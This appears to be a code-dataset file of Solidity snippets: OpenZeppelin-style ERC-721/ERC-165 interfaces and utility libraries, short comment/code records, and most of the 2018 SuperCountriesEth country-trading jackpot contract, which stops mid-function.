* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721Lib.sol";
/**
* @dev Interface that can be used to hook additional beforeTokenTransfer functions into ERC721Lib
*/
interface IERC721LibBeforeTokenTransferHook {
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransferHook(bytes32 storagePosition, address from, address to, uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
Update the moved token's index
|
s._ownedTokensIndex[lastTokenId] = tokenIndex;
| 6,935,756
|
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./full_match/1/0x0C58579eCeDa5bFb87448da1F8bD6c99175640eb/sources/contracts/AdapterHelper.sol
|
* @dev Returns balances of TokenProfit contract - tokens and ETH/
|
function _getAvailableFunds()
internal
view
returns (
uint256,
uint256[] memory
)
{
uint256[] memory availableTokens = new uint256[](
TOKENS
);
for (uint256 i = 0; i < TOKENS; i++) {
IERC20 token = tokens[i].tokenERC20;
availableTokens[i] = token.balanceOf(
TOKEN_PROFIT_ADDRESS
);
}
uint256 availableEther = TOKEN_PROFIT_ADDRESS.balance;
return (
availableEther,
availableTokens
);
}
| 9,701,640
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//Address: 0xdf203118a954c918b967a94e51f3570a2faba4ac
//Contract name: SuperCountriesEth
//Balance: 1.696874206974341727 Ether
//Verification Date: 6/7/2018
//Transacion Count: 994
// CODE STARTS HERE
pragma solidity ^0.4.24;
/*
βββββββββββ ββββββββββ βββββββββββββββ
βββββββββββ βββββββββββββββββββββββββββ
βββββββββββ βββββββββββββββββ ββββββββ
βββββββββββ ββββββββββ ββββββ ββββββββ
ββββββββββββββββββββ βββββββββββ βββ
ββββββββ βββββββ βββ βββββββββββ βββ
βββββββ βββββββ βββ βββββββ βββββββββββββββββββ βββββββββββββββββββ
ββββββββββββββββββββ ββββββββ βββββββββββββββββββββββββββββββββββββββ
βββ βββ ββββββ βββββββββ βββ βββ βββββββββββββββββ ββββββββ
βββ βββ ββββββ βββββββββββββ βββ βββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββββ ββββββ βββ βββ ββββββββββββββββββββββ
βββββββ βββββββ βββββββ βββ βββββ βββ βββ ββββββββββββββββββββββ
Β© 2018 SuperCountries
ζζζ - 4CE434B6058EC7C24889EC2512734B5DBA26E39891C09DF50C3CE3191CE9C51E
Xuxuxu - LB - Xufo
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract SuperCountriesEth {
using SafeMath for uint256;
////////////////////////////
/// CONSTRUCTOR ///
////////////////////////////
constructor () public {
owner = msg.sender;
}
address public owner;
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
////////////////////////
/// EVENTS ///
////////////////////////
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event SetReferrerEvent(address indexed referral, address indexed referrer);
event PayReferrerEvent(address indexed oldOwner, address indexed referrer1, address indexed referrer2, uint256 referralPart);
event BonusConstant(uint256 bonusToDispatch_, uint256 bonusDispatched_, uint256 notYetDispatched_, uint256 indexed _itemSoldId_, uint256 kBonus, uint256 indexed countryScore);
event BonusDispatch(uint256 bonusToGet_, uint256 indexed playerScoreForThisCountry_, address indexed player_, uint256 pendingBalanceTotal_, uint256 indexed _itemSoldId);
event DivsDispatch(uint256 dividendsCut_, uint256 dividendsScore, uint256 indexed _itemId, uint256 price, uint256 worldScore_);
event newRichest(address indexed richest_, uint256 richestScore_, uint256 indexed blocktimestamp_, uint256 indexed blocknumber_);
event Withdrawal(address indexed playerAddress, uint256 indexed ethereumWithdrawn, uint256 indexed potVersion_);
event ConfirmWithdraw(address indexed playerAddress, uint256 refbonus_, uint256 divs_, uint256 totalPending_, uint256 playerSc_, uint256 _handicap_);
event ConfirmPotWithdraw(uint256 contractBalance, address indexed richest_, uint256 richestBalance_, address indexed lastBuyer_, uint256 lastBalance_, uint256 indexed potVersion);
event PotWithdrawConstant(uint256 indexed blocktimestamp_, uint256 indexed timestamplimit_, uint256 dividendsScore_, uint256 indexed potVersion, uint256 lastWithdrawPotVersion_);
event WithdrawOwner(uint256 indexed potVersion, uint256 indexed lastWithdrawPotVersion_, uint256 indexed balance_);
///////////////////////////////////////////
/// VARIABLES, MAPPINGS, STRUCTS ///
///////////////////////////////////////////
bool private erc721Enabled = false;
/// Price increase limits
uint256 private increaseLimit1 = 0.04 ether;
uint256 private increaseLimit2 = 0.6 ether;
uint256 private increaseLimit3 = 2.5 ether;
uint256 private increaseLimit4 = 7.0 ether;
/// All countries
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (uint256 => uint256) private previousPriceOfItem;
mapping (uint256 => address) private approvedOfItem;
/// Referrals and their referrers
mapping(address => address) public referrerOf;
/// Dividends and score
uint256 private worldScore ; /// Worldscore = cumulated price of all owned countries + all spent ethers in this game
mapping (address => uint256) private playerScore; /// For each player, the sum of each owned country + the sum of all spent ethers since the beginning of the game
uint256 private dividendsScore ; /// Balance of dividends divided by the worldScore
mapping(uint256 => mapping(address => uint256)) private pendingBalance; /// Divs from referrals, bonus and dividends calculated after the playerScore change ; if the playerScore didn't change recently, there are some pending divs that can be calculated using dividendsScore and playerScore. The first mapping (uint256) is the jackpot version to use, the value goes up after each pot distribution and the previous pendingBalance are reseted.
mapping(uint256 => mapping(address => uint256)) private handicap; /// a player cannot claim a % of all dividends but a % of the cumulated dividends after his join date, this is a handicap
mapping(uint256 => mapping(address => uint256)) private balanceToWithdraw; /// A player cannot withdraw pending divs, he must request a withdraw first (pending divs move to balanceToWithdraw) then withdraw.
uint256 private potVersion = 1; /// Number of jackpots
uint256 private lastWithdrawPotVersion = 1; /// Latest withdraw in the game (pot version)
address private richestBuyer ; /// current player with the highest PlayerScore
address private lastBuyer ; /// current latest buyer in the game
uint256 private timestampLimit = 1528108990; /// after this timestamp, the richestBuyer and the lastBuyer will be allowed to withdraw 1/2 of the contract balance (1/4 each)
struct CountryStruct {
address[] itemToAddressArray; /// addresses that owned the same country
uint256 priceHistory; /// cumulated price of the country
uint256 startingPrice; /// starting price of the country
}
mapping (uint256 => CountryStruct) public countryStructs;
mapping (uint256 => mapping(address => uint256)) private itemHistory; /// Store price history (cumulated) for each address for each country
uint256 private HUGE = 1e13;
////////////////////////////////
/// USEFUL MODIFIER ///
////////////////////////////////
modifier onlyRealAddress() {
require(msg.sender != address(0));
_;
}
////////////////////////////////
/// ERC721 PRIVILEGES ///
////////////////////////////////
modifier onlyERC721() {
require(erc721Enabled);
_;
}
/**
* @dev Unlocks ERC721 behaviour, allowing for trading on third party platforms.
*/
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
///////////////////////////////////
/// LISTING NEW COUNTRIES ///
///////////////////////////////////
function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyOwner() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
listItem(_itemIds[i], _price, _owner);
}
}
function listItem (uint256 _itemId, uint256 _price, address _owner) onlyOwner() public {
require(_price > 0);
require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price;
previousPriceOfItem[_itemId] = 0;
listedItems.push(_itemId);
newEntity(_itemId, _price);
}
/**
* @dev Creates new Struct for a country each time a new country is listed.
*/
function newEntity(uint256 countryId, uint256 startPrice) private returns(bool success) {
countryStructs[countryId].startingPrice = startPrice;
return true;
}
/**
* @dev Update the Struc each time a country is sold.
* Push the newOwner, update the price history
*/
function updateEntity(uint256 countryId, address newOwner, uint256 priceUpdate) internal {
countryStructs[countryId].priceHistory += priceUpdate;
if (itemHistory[countryId][newOwner] == 0 ){
countryStructs[countryId].itemToAddressArray.push(newOwner);
}
}
///////////////////////
/// CALCULATE PRICE ///
///////////////////////
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(160).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(148).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(136).div(97);
} else {
return _price.mul(124).div(98);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(5).div(100); // 5%
} else if (_price < increaseLimit2) {
return _price.mul(4).div(100); // 4%
} else if (_price < increaseLimit4) {
return _price.mul(3).div(100); // 3%
} else {
return _price.mul(2).div(100); // 2%
}
}
//////////////////////////////
/// BALANCES & WITHDRAWALS ///
//////////////////////////////
function getBalance(address _playerAddress)
public
view
returns(uint256 pendingRefBonus_, uint256 pendingFromScore_, uint256 totalPending_, uint256 balanceReadyToWithdraw_, uint256 playerScore_, uint256 handicap_, uint256 dividendsScore_)
{
uint256 refbonus = pendingBalance[potVersion][_playerAddress];
uint256 playerSc = playerScore[_playerAddress];
uint256 playerHandicap = handicap[potVersion][_playerAddress];
uint256 divs = playerSc.mul(dividendsScore.sub(playerHandicap)).div(HUGE);
uint256 totalPending = refbonus.add(divs);
uint256 ready = balanceToWithdraw[potVersion][_playerAddress];
return (refbonus, divs, totalPending, ready, playerSc, playerHandicap, dividendsScore);
}
function getOldBalance(uint256 _potVersion, address _playerAddress)
public
view
returns(uint256 oldPendingRefBonus_, uint256 oldHandicap_, uint256 oldReadyToWithdraw_)
{
uint256 oldRefBonus = pendingBalance[_potVersion][_playerAddress];
uint256 oldPlayerHandicap = handicap[_potVersion][_playerAddress];
uint256 oldReady = balanceToWithdraw[_potVersion][_playerAddress];
return (oldRefBonus, oldPlayerHandicap, oldReady);
}
/**
* @dev First step to withdraw : players must confirm their pending Divs before withdrawing
* this function sums the pending balances (pendingDividends and the pending divs from playerScore)
* Then this sum moves to balanceReadyToWithdraw, the player can call the next function and withdraw divs
*/
function confirmDividends() public onlyRealAddress {
require(playerScore[msg.sender] > 0);/// the player exists
require (dividendsScore >= handicap[potVersion][msg.sender]);
require (dividendsScore >= 0);
address _playerAddress = msg.sender;
uint256 playerSc = playerScore[_playerAddress];
uint256 handicap_ = handicap[potVersion][_playerAddress];
uint256 refbonus = pendingBalance[potVersion][_playerAddress];
uint256 divs = playerSc.mul(dividendsScore.sub(handicap_)).div(HUGE);
uint256 totalPending = refbonus.add(divs);
/// Reset the values
pendingBalance[potVersion][_playerAddress] = 0; /// Reset the pending balance
handicap[potVersion][_playerAddress] = dividendsScore;
/// Now the player is ready to withdraw ///
balanceToWithdraw[potVersion][_playerAddress] += totalPending;
// fire event
emit ConfirmWithdraw(_playerAddress, refbonus, divs, totalPending, playerSc, handicap_);
}
/**
* @dev Second step to withdraw : after confirming divs, players can withdraw divs to their wallet
*/
function withdraw() public onlyRealAddress {
require(balanceOf(msg.sender) > 0);
require(balanceToWithdraw[potVersion][msg.sender] > 0);
address _playerAddress = msg.sender;
if (lastWithdrawPotVersion != potVersion){
lastWithdrawPotVersion = potVersion;
}
/// Add referrals earnings, bonus and divs
uint256 divToTransfer = balanceToWithdraw[potVersion][_playerAddress];
balanceToWithdraw[potVersion][_playerAddress] = 0;
_playerAddress.transfer(divToTransfer);
/// fire event
emit Withdrawal(_playerAddress, divToTransfer, potVersion);
}
/**
* @dev After 7 days without any buy, the richest user and the latest player will share the contract balance !
*/
function confirmDividendsFromPot() public {
require(richestBuyer != address(0) && lastBuyer != address(0)) ;
require(address(this).balance > 100000000); /// mini 1e8 wei
require(block.timestamp > timestampLimit);
uint256 confirmation_TimeStamp = timestampLimit;
potVersion ++;
uint256 balance = address(this).balance;
uint256 balanceQuarter = balance.div(4);
dividendsScore = 0; /// reset dividends
updateTimestampLimit(); /// Reset the timer, if no new buys, the richest and the last buyers will be able to withdraw the left quarter in a week or so
balanceToWithdraw[potVersion][richestBuyer] = balanceQuarter;
balanceToWithdraw[potVersion][lastBuyer] += balanceQuarter; /// if the richest = last, dividends cumulate
// fire events
emit ConfirmPotWithdraw(
balance,
richestBuyer,
balanceToWithdraw[potVersion][richestBuyer],
lastBuyer,
balanceToWithdraw[potVersion][lastBuyer],
potVersion
);
emit PotWithdrawConstant(
block.timestamp,
confirmation_TimeStamp,
dividendsScore,
potVersion,
lastWithdrawPotVersion
);
}
/**
* @dev If no new buys occur (dividendsScore = 0) and the richest and latest players don't withdraw their dividends after 3 jackpots, the game can be stuck forever
* Prevent from jackpot vicious circle : same dividends are shared between latest and richest users again and again
* If the richest and/or the latest player withdraw(s) at least once between 3 jackpots, it means the game is alive
* Or if contract balance drops down to 1e8 wei (that means many successful jackpots and that a current withdrawal could cost too much gas for players)
*/
function withdrawAll() public onlyOwner {
require((potVersion > lastWithdrawPotVersion.add(3) && dividendsScore == 0) || (address(this).balance < 100000001) );
require (address(this).balance >0);
potVersion ++;
updateTimestampLimit();
uint256 balance = address(this).balance;
owner.transfer(balance);
// fire event
emit WithdrawOwner(potVersion, lastWithdrawPotVersion, balance);
}
///////////////////////////////////////
/// REFERRERS - Setting and payment ///
///////////////////////////////////////
/**
* @dev Get the referrer of a player.
* @param player The address of the player to get the referrer of.
*/
function getReferrerOf(address player) public view returns (address) {
return referrerOf[player];
}
/**
* @dev Set a referrer.
* @param newReferral The address to set the referrer for.
* @param referrer The address of the referrer to set.
* The referrer must own at least one country to keep his reflink active
* Referrals got with an active link are forever, even if all the referrer's countries are sold
*/
function setReferrer(address newReferral, address referrer) internal {
if (getReferrerOf(newReferral) == address(0x0) && newReferral != referrer && balanceOf(referrer) > 0 && playerScore[newReferral] == 0) {
/// Set the referrer, if no referrer has been set yet, and the player
/// and referrer are not the same address.
referrerOf[newReferral] = referrer;
/// Emit event.
emit SetReferrerEvent(newReferral, referrer);
}
}
/**
* @dev Dispatch the referrer bonus when a country is sold
* @param referralDivToPay which dividends percentage will be dispatched to refererrs : 0 if no referrer, 2.5% if 1 referrer, 5% if 2
*/
function payReferrer (address _oldOwner, uint256 _netProfit) internal returns (uint256 referralDivToPay) {
address referrer_1 = referrerOf[_oldOwner];
if (referrer_1 != 0x0) {
referralDivToPay = _netProfit.mul(25).div(1000);
pendingBalance[potVersion][referrer_1] += referralDivToPay; /// 2.5% for the first referrer
address referrer_2 = referrerOf[referrer_1];
if (referrer_2 != 0x0) {
pendingBalance[potVersion][referrer_2] += referralDivToPay; /// 2.5% for the 2nd referrer
referralDivToPay += referralDivToPay;
}
}
emit PayReferrerEvent(_oldOwner, referrer_1, referrer_2, referralDivToPay);
return referralDivToPay;
}
///////////////////////////////////
/// INTERNAL FUNCTIONS WHEN BUY ///
///////////////////////////////////
/**
* @dev Dispatch dividends to former owners of a country
*/
function bonusPreviousOwner(uint256 _itemSoldId, uint256 _paidPrice, uint256 _bonusToDispatch) private {
require(_bonusToDispatch < (_paidPrice.mul(5).div(100)));
require(countryStructs[_itemSoldId].priceHistory > 0);
CountryStruct storage c = countryStructs[_itemSoldId];
uint256 countryScore = c.priceHistory;
uint256 kBonus = _bonusToDispatch.mul(HUGE).div(countryScore);
uint256 bonusDispatched = 0;
for (uint256 i = 0; i < c.itemToAddressArray.length && bonusDispatched < _bonusToDispatch ; i++) {
address listedBonusPlayer = c.itemToAddressArray[i];
uint256 playerBonusScore = itemHistory[_itemSoldId][listedBonusPlayer];
uint256 bonusToGet = playerBonusScore.mul(kBonus).div(HUGE);
if (bonusDispatched.add(bonusToGet) <= _bonusToDispatch) {
pendingBalance[potVersion][listedBonusPlayer] += bonusToGet;
bonusDispatched += bonusToGet;
emitInfo(bonusToGet, playerBonusScore, listedBonusPlayer, pendingBalance[potVersion][listedBonusPlayer], _itemSoldId);
}
}
emit BonusConstant(_bonusToDispatch, bonusDispatched, _bonusToDispatch.sub(bonusDispatched), _itemSoldId, kBonus, countryScore);
}
function emitInfo(uint256 dividendsToG_, uint256 playerSc_, address player_, uint256 divsBalance_, uint256 itemId_) private {
emit BonusDispatch(dividendsToG_, playerSc_, player_, divsBalance_, itemId_);
}
/**
* @dev we need to update the oldOwner and newOwner balances each time a country is sold, their handicap and playerscore will also change
* Worldscore and dividendscore : we don't care, it will be updated later.
* If accurate, set a new richest player
*/
function updateScoreAndBalance(uint256 _paidPrice, uint256 _itemId, address _oldOwner, address _newOwner) internal {
uint256 _previousPaidPrice = previousPriceOfItem[_itemId];
assert (_paidPrice > _previousPaidPrice);
/// OLD OWNER ///
uint256 scoreSubHandicap = dividendsScore.sub(handicap[potVersion][_oldOwner]);
uint256 playerScore_ = playerScore[_oldOwner];
/// If the old owner is the owner of this contract, we skip this part, the owner of the contract won't get dividends
if (_oldOwner != owner && scoreSubHandicap >= 0 && playerScore_ > _previousPaidPrice) {
pendingBalance[potVersion][_oldOwner] += playerScore_.mul(scoreSubHandicap).div(HUGE);
playerScore[_oldOwner] -= _previousPaidPrice; ///for the oldOwner, the playerScore goes down the previous price
handicap[potVersion][_oldOwner] = dividendsScore; /// and setting his handicap to dividendsScore after updating his balance
}
/// NEW OWNER ///
scoreSubHandicap = dividendsScore.sub(handicap[potVersion][_newOwner]); /// Rewrite the var with the newOwner values
playerScore_ = playerScore[_newOwner]; /// Rewrite the var playerScore with the newOwner PlayerScore
/// If new player, his playerscore = 0, handicap = 0, so the pendingBalance math = 0
if (scoreSubHandicap >= 0) {
pendingBalance[potVersion][_newOwner] += playerScore_.mul(scoreSubHandicap).div(HUGE);
playerScore[_newOwner] += _paidPrice.mul(2); ///for the newOwner, the playerScore goes up twice the value of the purchase price
handicap[potVersion][_newOwner] = dividendsScore; /// and setting his handicap to dividendsScore after updating his balance
}
/// Change the richest user if this is the case...
if (playerScore[_newOwner] > playerScore[richestBuyer]) {
richestBuyer = _newOwner;
emit newRichest(_newOwner, playerScore[_newOwner], block.timestamp, block.number);
}
/// Change the last Buyer in any case
lastBuyer = _newOwner;
}
/**
* @dev Update the worldScore
* After each buy, the worldscore increases : 2x current purchase price - 1x previousPrice
*/
function updateWorldScore(uint256 _countryId, uint256 _price) internal {
worldScore += _price.mul(2).sub(previousPriceOfItem[_countryId]);
}
/**
* @dev Update timestampLimit : the date on which the richest player and the last buyer will be able to share the contract balance (1/4 each)
*/
function updateTimestampLimit() internal {
timestampLimit = block.timestamp.add(604800).add(potVersion.mul(28800)); /// add 7 days + (pot version * X 8hrs)
}
/**
* @dev Refund the buyer if excess
*/
function excessRefund(address _newOwner, uint256 _price) internal {
uint256 excess = msg.value.sub(_price);
